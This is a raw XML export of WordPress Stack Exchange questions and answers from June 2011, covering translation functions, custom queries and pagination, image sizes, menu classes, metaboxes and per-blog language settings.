  <row Id="20779" PostTypeId="1" CreationDate="2011-06-23T05:20:00.710" Score="3" ViewCount="33" Body="&lt;p&gt;What's different between _x() and _().  For example: if a1 can translate as:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a1 has meaning x1;&lt;/li&gt;&#xA;&lt;li&gt;a1 has meaning x2; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How _x() function to get value x1 or x2?   &lt;/p&gt;&#xA;" OwnerUserId="6432" LastEditorUserId="36" LastEditorDisplayName="" LastEditDate="2011-06-23T09:04:13.960" LastActivityDate="2011-06-23T09:04:13.960" Title="what's different between _x() and _()" Tags="&lt;translation&gt;&lt;x&gt;" AnswerCount="1" />
  <row Id="20780" PostTypeId="2" ParentId="20778" CreationDate="2011-06-23T05:21:47.540" Score="0" ViewCount="" Body="&lt;p&gt;You don't have to install the plugin again. You can use Contact Form 7 to create as many forms as you like. See the &lt;a href=&quot;http://contactform7.com/blog/2009/11/02/getting-started-with-contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-23T05:21:47.540" />
  <row Id="20781" PostTypeId="1" AcceptedAnswerId="20806" CreationDate="2011-06-23T05:24:42.907" Score="0" ViewCount="25" Body="&lt;p&gt;Images keep uploading to /uploads/2010/07 instead of /uploads/2011/06. Permissions are set to 777 just to find out if 755 is an issue, and it's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have anything in Media to define a new path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just keeps uploading to the oldest folder. This was an XML dump from another WP to the new WP, so I'm not sure if that had anything to do with it, or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see the image files fine and they post in the post editor, they're just going to the oldest folder and it's not autocreating a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running the latest wp 3.1.3. I do have a bunch of plug-ins, the image thumbnail regenerator is one, and I've got a bunch of plugins for sidebar widgets, but nothing out of the ordinary.&lt;/p&gt;&#xA;" OwnerUserId="4833" LastActivityDate="2011-06-23T09:12:41.333" Title="Images uploading to wrong folder" Tags="&lt;images&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="20782" PostTypeId="2" ParentId="20779" CreationDate="2011-06-23T05:35:24.987" Score="4" ViewCount="" Body="&lt;p&gt;&lt;code&gt;_x()&lt;/code&gt; let's you add a context to yout strings. This is useful when you are using the same string in different places. This string may need different translations depending on the language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example would be :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'a1 in context 1 ' . _x('a1', 'context1', 'mydomain');&#xA;echo 'a1 in context 2 ' . _x('a1', 'context2', 'mydomain');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are more examples in &lt;a href=&quot;http://wpengineer.com/2237/whats-the-difference-between-__-_e-_x-and-_ex/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-23T05:35:24.987" />
  <row Id="20783" PostTypeId="2" ParentId="20778" CreationDate="2011-06-23T05:54:15.440" Score="0" ViewCount="" Body="&lt;p&gt;Just copy the shortcode of contact form7 and use it Any where you want and 'N' of times in a single website &amp;amp; If you want same page itself you can do it.Just Paste the Shortcode where you need.That's it.No Need to Install again..&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-23T05:54:15.440" CommentCount="1" />
  <row Id="20784" PostTypeId="1" CreationDate="2011-06-23T05:58:54.003" Score="0" ViewCount="99" Body="&lt;p&gt;I'm very new to WordPress, especially when it comes to creating a custom loop as per below. This works fine, however I'm perplexed why &quot;Blog pages show at most&quot; (under Settings &gt; Reading) is interfering with the query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below, I have post_per_page set at 10. If I leave the default &quot;Blog pages show at most&quot; setting as 10 posts it works fine because they both match and calculates the pages correctly. However if I change the &quot;posts_per_page&quot; to 5, I get a few extra pages added to the pagination, which display &quot;page not found&quot; when clicked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to override this setting from the admin? I thought creating a custom wp_query would override this anyway. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using wp_pagenavi for the pagination as you can see in the example below, and have a custom post type of &quot;listing&quot;. I'm using WordPress 3.1.3.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_query = new WP_Query( array( 'post_type' =&amp;gt; 'listing', 'posts_per_page' =&amp;gt; 10, 'paged' =&amp;gt; get_query_var('paged') ) ); ?&amp;gt;  &#xA;&#xA;&amp;lt;?php if ( $custom_query-&amp;gt;have_posts() ) : while ( $custom_query-&amp;gt;have_posts() ) : $custom_query-&amp;gt;the_post(); ?&amp;gt;  &#xA;&#xA;    &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;   &#xA;        // stuff here&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;//wp_pagenavi &#xA;&amp;lt;?php &#xA;    if (function_exists('wp_pagenavi')) {&#xA;    wp_pagenavi( array( 'query' =&amp;gt; $custom_query ) ); } &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-06-23T11:39:49.210" Title="Why does &quot;Blog pages show at most&quot; interfere with my custom wp_query?" Tags="&lt;wp-query&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20785" PostTypeId="1" AcceptedAnswerId="20787" CreationDate="2011-06-23T06:06:54.010" Score="1" ViewCount="88" Body="&lt;p&gt;I want get the original image as uploaded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my original image size is 630*370.But using bellow function i am only getting the thumbnail with size 630*198.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src($PriImgId,array('630','370'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-07-21T09:52:30.973" Title="how to get original image using wp_get_attachment_image_src" Tags="&lt;images&gt;&lt;attachments&gt;" AnswerCount="1" />
  <row Id="20786" PostTypeId="2" ParentId="20775" CreationDate="2011-06-23T06:21:10.470" Score="0" ViewCount="" Body="&lt;p&gt;i found something for you but not exactly you want..&lt;a href=&quot;http://wordpress.org/extend/plugins/dropdown-menu-widget/&quot; rel=&quot;nofollow&quot;&gt;Style Menu&lt;/a&gt;..&#xA;It May be Help you better.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-23T06:21:10.470" />
  <row Id="20787" PostTypeId="2" ParentId="20785" CreationDate="2011-06-23T06:30:00.540" Score="1" ViewCount="" Body="&lt;p&gt;Try this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_image_src( $PriImgId, 'full' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, for more options see the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-23T06:30:00.540" CommentCount="1" />
  <row Id="20788" PostTypeId="2" ParentId="20775" CreationDate="2011-06-23T06:32:21.880" Score="0" ViewCount="" Body="&lt;p&gt;and this also help while developing... &lt;a href=&quot;http://anewtab.com/how-to-change-menu-color-in-wordpress-twentyten-theme&quot; rel=&quot;nofollow&quot;&gt;Useful Link&lt;/a&gt;.&#xA;.. Just try this.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#access #menu-item-105 a:hover {background-color:#f00;}&#xA;#access #menu-item-593 a:hover {background-color:#0f0;}&#xA;#access #menu-item-557 a:hover {background-color:#00f;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-06-23T06:32:21.880" />
  <row Id="20789" PostTypeId="1" CreationDate="2011-06-23T06:35:15.670" Score="0" ViewCount="60" Body="&lt;p&gt;I'm working on WordPress where I have following code to get posts within loop.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php&#xA;                $posts = $woo_options['woo_latest_entries'];&#xA;                query_posts('post_type=post&amp;amp;category_name=company');&#xA;                if ( have_posts() ) : while ( have_posts() ) : the_post(); $count++;&#xA;&#xA;        ?&amp;gt;&#xA;&#xA;        /// Post Content Goes Here //&#xA;&#xA;        &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which Output posts inside Loops something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Post Goes Here ....&#xA;&#xA;Other Post Goes Here ....&#xA;&#xA;Another Post Goes Here ....&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want is to print current posts index number within loop. Example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 1. Post Goes Here ....&#xA;&#xA; 2. Other Post Goes Here ....&#xA;&#xA; 3. Another Post Goes Here ....&#xA; .....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How Can I Achieve This ? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ohh ! I can do it this way ..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;echo $wp_query-&amp;gt;current_post +1; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any other /  Better way ?&lt;/p&gt;&#xA;" OwnerUserId="3190" LastEditorUserId="3190" LastEditorDisplayName="" LastEditDate="2011-06-23T06:41:17.223" LastActivityDate="2011-06-23T11:36:26.593" Title="Print Current Post Index number within Loop" Tags="&lt;posts&gt;&lt;loop&gt;" AnswerCount="2" />
  <row Id="20791" PostTypeId="1" AcceptedAnswerId="20792" CreationDate="2011-06-03T21:58:13.080" Score="1" ViewCount="17" Body="&lt;p&gt;I've been given a wordpress site to do some development work on (I didn't do any of the initial development on it). I've installed it locally and am running it with XAMPP on Windows 7. I generated the database from a mysqldump file and I made the changes to wp-config to link to the database. After also changing the URL values in the wp_options table (they were set to the path of the live site) I got it working so that all the posts and settings are are showing up in the wp-admin console. Also on the frontpage the blog item excerpts list is populating correctly and all the layout and images are loading fine. The problem is that when I click through to an article it returns a 404 object not found error. The URL path to the article page looks to be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate it if anyone had any suggestions on what may be wrong and what I need to do get the article display pages working. I figure it must still have something to do with an incorrect base URL path being set somewhere, but can't find any other places where it would need to be changed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;" OwnerUserId="6061" LastActivityDate="2011-06-23T06:57:59.910" Title="article pages not displaying on local instance of wordpress site" Tags="&lt;untagged&gt;" AnswerCount="1" />
  <row Id="20792" PostTypeId="2" ParentId="20791" CreationDate="2011-06-04T05:11:09.760" Score="2" ViewCount="" Body="&lt;p&gt;my first thought is that it is a permalinks issue. if it is, set your permalinks to default and the links should work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also, be sure to search the database for (and replace) any other instances of the old live site's URL, particularly in wp_posts table. it's easy to forget to update guid and post_content [i.e., UPDATE wp_posts SET guid = REPLACE (guid, 'http://www.livesiteurl.com', 'http://www.newsiteurl.com')]&lt;/p&gt;&#xA;" LastActivityDate="2011-06-04T05:11:09.760" CommentCount="3" />
  <row Id="20793" PostTypeId="1" AcceptedAnswerId="20794" CreationDate="2011-06-09T19:47:27.233" Score="0" ViewCount="8" Body="&lt;p&gt;I'm developing a group blog on wordpress (first time working with it) and the client has requested that a 'None' option be added where an item can be posted without a &quot;by&quot; attribution. So basically there would be one article / excerpt template for attributed author's posts and another for the none option where the byline would just be the date posted without the &quot;by [author name].&quot;  Is this possible with wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6061" LastActivityDate="2011-06-23T06:58:54.373" Title="Creating an option for writing a post without an author attribution for a group blog on Wordpress" Tags="&lt;untagged&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="20794" PostTypeId="2" ParentId="20793" CreationDate="2011-06-09T22:05:29.670" Score="1" ViewCount="" Body="&lt;p&gt;It's possible to do, but would take hacking up the theme. One convention I've seen is to create a user with a generic name, like Guest, or the name of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would still like to hack away. Then put a condition around the line\s in the template that displays the author like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (get_the_author() != 'none') : ?&amp;gt; &#xA;    &amp;lt;?php the_author(); ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or alternately, the shorthand...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo (get_the_author() != 'none') ? get_the_author() : ''; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you define an author named 'none'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The post will only display the author's name if the name isn't 'none'.&lt;/p&gt;&#xA;" OwnerUserId="2165" LastActivityDate="2011-06-09T22:05:29.670" />
  <row Id="20795" PostTypeId="1" AcceptedAnswerId="20993" CreationDate="2011-06-23T07:02:48.977" Score="-2" ViewCount="133" Body="&lt;p&gt;am using Wp-E-commerce plugin.Am tried Yoast Breadcrumb plugin,but it show only my page title not an exact one.how to bring correct one? now i got only page title.[i got answer so disable link here ][1] .In this we Select Test category1,So output should be Home &gt;&gt; Car Accessories &gt;&gt; Test Category1..but it shows Home &gt;&gt; Catalog. How to Resolve this problem?do you have any idea's please?&lt;/p&gt;&#xA;" OwnerUserId="5669" LastEditorUserId="5669" LastEditorDisplayName="" LastEditDate="2011-06-29T10:24:56.923" LastActivityDate="2011-06-29T10:24:56.923" ClosedDate="2011-06-29T10:45:00.517" Title="Breadcrumb is not working correctly with  wp E-commerce  plugin" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;breadcrumb&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="20796" PostTypeId="2" ParentId="20789" CreationDate="2011-06-23T07:12:10.987" Score="1" ViewCount="" Body="&lt;p&gt;If it's just an esthetic thing and you don't need to use the count variable for further coding, you can just wrap your posts in an &lt;code&gt;ol&lt;/code&gt; tag :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;ol&amp;gt;&#xA;&#xA;        &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;li&amp;gt; &amp;lt;!-- Post Content Goes Here --&amp;gt; &amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;    &amp;lt;/ol&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-23T07:12:10.987" CommentCount="2" />
  <row Id="20797" PostTypeId="1" AcceptedAnswerId="20801" CreationDate="2011-06-23T07:31:39.610" Score="0" ViewCount="73" Body="&lt;p&gt;I have multiple values I need to be able to punch into a meta-box on the post edit screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EX: I am working with set-list information for concerts. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Song 1&lt;/li&gt;&#xA;&lt;li&gt;Song 2&lt;/li&gt;&#xA;&lt;li&gt;Song 3&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am always looking for efficiency in my code, here's the point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I just create a brand new id (i.e. song_1, song_2) for every song. Or is there a more condensed way to go about this. Here's a sample of how I would do it as of right now... which would seem like a lot of unncessary code, but then again I am not certain. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php   &#xA;include('preset-library.php');&#xA;&#xA;$meta_box['post'] = array(&#xA;&#xA;// default values, will change to more descriptive values later&#xA;&#xA;    'id' =&amp;gt; 'post-format-meta',  &#xA;    'title' =&amp;gt; 'Additional Post Format Meta',    &#xA;    'context' =&amp;gt; 'normal',           &#xA;    'priority' =&amp;gt; 'high',&#xA;    'fields' =&amp;gt; array(&#xA;        array(&#xA;            'name' =&amp;gt; 'Song 1',&#xA;            'desc' =&amp;gt; 'Setlist Song 1',&#xA;            'id' =&amp;gt; 'song_1',&#xA;            'type' =&amp;gt; 'text',&#xA;            'default' =&amp;gt; ''&#xA;        ),&#xA;        array(&#xA;            'name' =&amp;gt; 'Song 2',&#xA;            'desc' =&amp;gt; 'Setlist Song 2',&#xA;            'id' =&amp;gt; 'song_2',&#xA;            'type' =&amp;gt; 'text',&#xA;            'default' =&amp;gt; ''&#xA;&#xA;// then additional songs &#xA;&#xA;        )&#xA;    )&#xA;);&#xA;add_action('admin_menu', 'plib_add_box');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6423" LastActivityDate="2011-06-23T16:08:20.100" Title="Working with multiple values and metaboxes" Tags="&lt;custom-field&gt;&lt;metabox&gt;&lt;array&gt;" AnswerCount="2" />
  <row Id="20798" PostTypeId="1" CreationDate="2011-06-23T08:30:49.687" Score="0" ViewCount="72" Body="&lt;p&gt;I am using.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu($args); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get menu from WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It returns the menus with &lt;code&gt;&amp;lt;ul&amp;gt; and &amp;lt;li&amp;gt;&lt;/code&gt; structure.&lt;br&gt;&#xA;How can i set class name for every &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tag uniquely.&lt;/p&gt;&#xA;" OwnerUserId="6245" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-23T08:47:39.070" LastActivityDate="2011-06-23T10:49:26.287" Title="How to set classname for &lt;li&gt; tag in wordpress menu?" Tags="&lt;menus&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="20799" PostTypeId="2" ParentId="20798" CreationDate="2011-06-23T08:38:11.427" Score="1" ViewCount="" Body="&lt;p&gt;You can use the CSS class for the menu.&lt;br&gt;&#xA;Under &quot;Screen Options&quot;, flag &quot;&lt;strong&gt;CSS Classes&lt;/strong&gt;&quot;, under &quot;Show Advanced Properties&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, for every menu item, you have an additional input that is named &quot;CSS Classes&quot;&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-06-23T08:38:11.427" />
  <row Id="20800" PostTypeId="2" ParentId="20798" CreationDate="2011-06-23T08:38:38.557" Score="0" ViewCount="" Body="&lt;p&gt;This should help you buddy - &lt;a href=&quot;http://wpveda.com/add-custom-classes-wpnavmenu-condition/&quot; rel=&quot;nofollow&quot;&gt;http://wpveda.com/add-custom-classes-wpnavmenu-condition/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6243" LastActivityDate="2011-06-23T08:38:38.557" />
  <row Id="20801" PostTypeId="2" ParentId="20797" CreationDate="2011-06-23T08:45:48.883" Score="1" ViewCount="" Body="&lt;p&gt;I believe that your best option would be to create a single field and save all values in an array, something like this: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/19838/create-more-meta-boxes-as-needed/19852#19852&quot;&gt;&lt;strong&gt;Create more Meta Boxes as needed&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-23T08:45:48.883" />
  <row Id="20802" PostTypeId="2" ParentId="20798" CreationDate="2011-06-23T08:46:23.933" Score="1" ViewCount="" Body="&lt;p&gt;I think the best solution would be to write your own walker class for it and pass it as an argument, but I must admit that's not too straight forward if you are not too familiar with wordpress development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would solve it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$menu_items = wp_get_nav_menu_items('your_menu_slug_or_id');        &#xA;$class = '';&#xA;$count = count($menu_items);&#xA;$i = 0;&#xA;&#xA;foreach ($menu_items as $menu_item) {&#xA;    $class = 'item-'.(++$i);&#xA;?&amp;gt;&#xA;    &amp;lt;li class=&quot;&amp;lt;?php echo $class?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;!-- add menu title and url here as you please --&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5986" LastActivityDate="2011-06-23T08:46:23.933" />
  <row Id="20803" PostTypeId="2" ParentId="20118" CreationDate="2011-06-23T09:02:07.430" Score="0" ViewCount="" Body="&lt;p&gt;When user registers to your site, have the number stored as a unique key (similar to how user names are handled)..   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So create a new text field on the registration form that handles this number and updates usermeta upon success.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to ban that account for any reason then in your ban function you will need to move that id number into a seperate custom table in your database.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you need another check on registration that looks for a match in your custom table for banned id numbers and also a check for existing id numbers (not banned) if there is a match here then the registration process will fail. If no match then it is processed..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how are you going to verify that people are using original government generated id numbers?.. for this you will have to have access to the formula for generating these id's and then need to create an algorythm to check for validaty.&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-23T09:02:07.430" />
  <row Id="20804" PostTypeId="1" AcceptedAnswerId="20810" CreationDate="2011-06-23T09:07:06.207" Score="0" ViewCount="59" Body="&lt;p&gt;I currently have the following custom wp_query which displays posts from 2 custom WP roles, &quot;custom_role_one&quot; and &quot;custom_role_two&quot;. It displays the posts from my custom post type of &quot;listing&quot;. It works great but how can I modify this so that the posts are ordered by each role?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I would like all posts from &quot;custom_role_one&quot; to be displayed first and then all posts from &quot;custom_role_two&quot; to be listed second. As you can see, they are currently ordered by date.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $custom_roles = get_users( array( 'role' =&amp;gt; 'custom_role_one, custom_role_two' ) );&#xA;&#xA;        $custom_ids = array();&#xA;&#xA;        foreach( $custom_roles as $custom_role ) &#xA;            $custom_ids[] = $custom_role-&amp;gt;ID;&#xA;&#xA;        $custom_role_query = new WP_Query( array( 'author' =&amp;gt; implode( ',', $custom_ids ), 'post_type' =&amp;gt; 'listing', 'posts_per_page' =&amp;gt; 10, 'orderby' =&amp;gt; 'date', 'order' =&amp;gt; 'DESC',  'paged' =&amp;gt; get_query_var('paged') ) );&#xA;    ?&amp;gt;  &#xA;&#xA;    &amp;lt;?php if ( $custom_role_query -&amp;gt;have_posts() ) : while ( $custom_role_query -&amp;gt;have_posts() ) : $custom_role_query -&amp;gt;the_post(); ?&amp;gt;  &#xA;&#xA;       &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;  &#xA;       &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-06-23T09:58:43.610" Title="How to order posts by custom WP role?" Tags="&lt;wp-query&gt;&lt;custom-roles&gt;" AnswerCount="1" />
  <row Id="20805" PostTypeId="2" ParentId="20798" CreationDate="2011-06-23T09:10:34.983" Score="0" ViewCount="" Body="&lt;p&gt;What is the reason for needing custom classes? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress menus include a number of classes on the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; elements when the function is run and should be everything you need to work with.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-23T10:49:26.287" LastActivityDate="2011-06-23T10:49:26.287" />
  <row Id="20806" PostTypeId="2" ParentId="20781" CreationDate="2011-06-23T09:12:41.333" Score="1" ViewCount="" Body="&lt;p&gt;Tony, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;are you creating a new post or editing an older post from 2010/07? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that the folder relates to when the post/page was created initially. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-06-23T09:12:41.333" CommentCount="1" />
  <row Id="20807" PostTypeId="1" CreationDate="2011-06-23T09:32:03.437" Score="0" ViewCount="67" Body="&lt;p&gt;I've found a myriad of plugins that tweets my posts or grabs tweets into a widget, or posts all tweets, but none that:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;looks for a specific twitter @account's #hashtags and&lt;/li&gt;&#xA;&lt;li&gt;creates a WP post &lt;/li&gt;&#xA;&lt;li&gt;in a custom category &lt;code&gt;Tweet&lt;/code&gt; (when specific #hashtag shows up)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So Wordpress will look at Twitter @username tweets, doing nothing, waiting for a trigger in the form of the hashtag &lt;code&gt;#foo&lt;/code&gt;. Then Wordpress will create a post in the category &lt;code&gt;bar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that does this, or will I have to code a function myself? Which I doubt I'll be able to do :/&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="2937" LastEditorDisplayName="" LastEditDate="2011-06-23T10:33:13.010" LastActivityDate="2011-07-26T09:30:19.837" Title="Is there a plugin that creates a WP post based on a Twitter account's hashtag?" Tags="&lt;posts&gt;&lt;twitter&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20808" PostTypeId="2" ParentId="20774" CreationDate="2011-06-23T09:43:56.250" Score="0" ViewCount="" Body="&lt;p&gt;Might be worth looking at the Codex for registering a post type, the rewrite rule should help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;rewrite&lt;/strong&gt; (boolean or array) (optional) Rewrite permalinks with&#xA;  this format. False to prevent rewrite.&#xA;  Default: true and use post type as&#xA;  slug $args array 'slug' - prepend&#xA;  posts with this slug - defaults to&#xA;  post type's name - use&#xA;  array('slug'=&gt;$slug) to customize&#xA;  permastruct 'with_front' - allowing&#xA;  permalinks to be prepended with front&#xA;  base (example: if your permalink&#xA;  structure is /blog/, then your links&#xA;  will be: false-&gt;/news/,&#xA;  true-&gt;/blog/news/) - defaults to true&#xA;  'feeds' - default to has_archive value&#xA;  'pages' - defaults to true&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You probably want to set with_front to false.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-06-23T09:43:56.250" CommentCount="1" />
  <row Id="20809" PostTypeId="2" ParentId="20758" CreationDate="2011-06-23T09:49:42.067" Score="1" ViewCount="" Body="&lt;p&gt;I just found this which I applied and works perfectly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have your blogs installed in subdirectories you could use this solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (strpos($_SERVER['REQUEST_URI'], '/enblog') === 0) {&#xA;    define ('WPLANG', 'en_US');&#xA;} else {&#xA;    define ('WPLANG', 'pl_PL');&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and so on. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="6436" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-06-29T15:12:50.997" LastActivityDate="2011-06-29T15:12:50.997" />
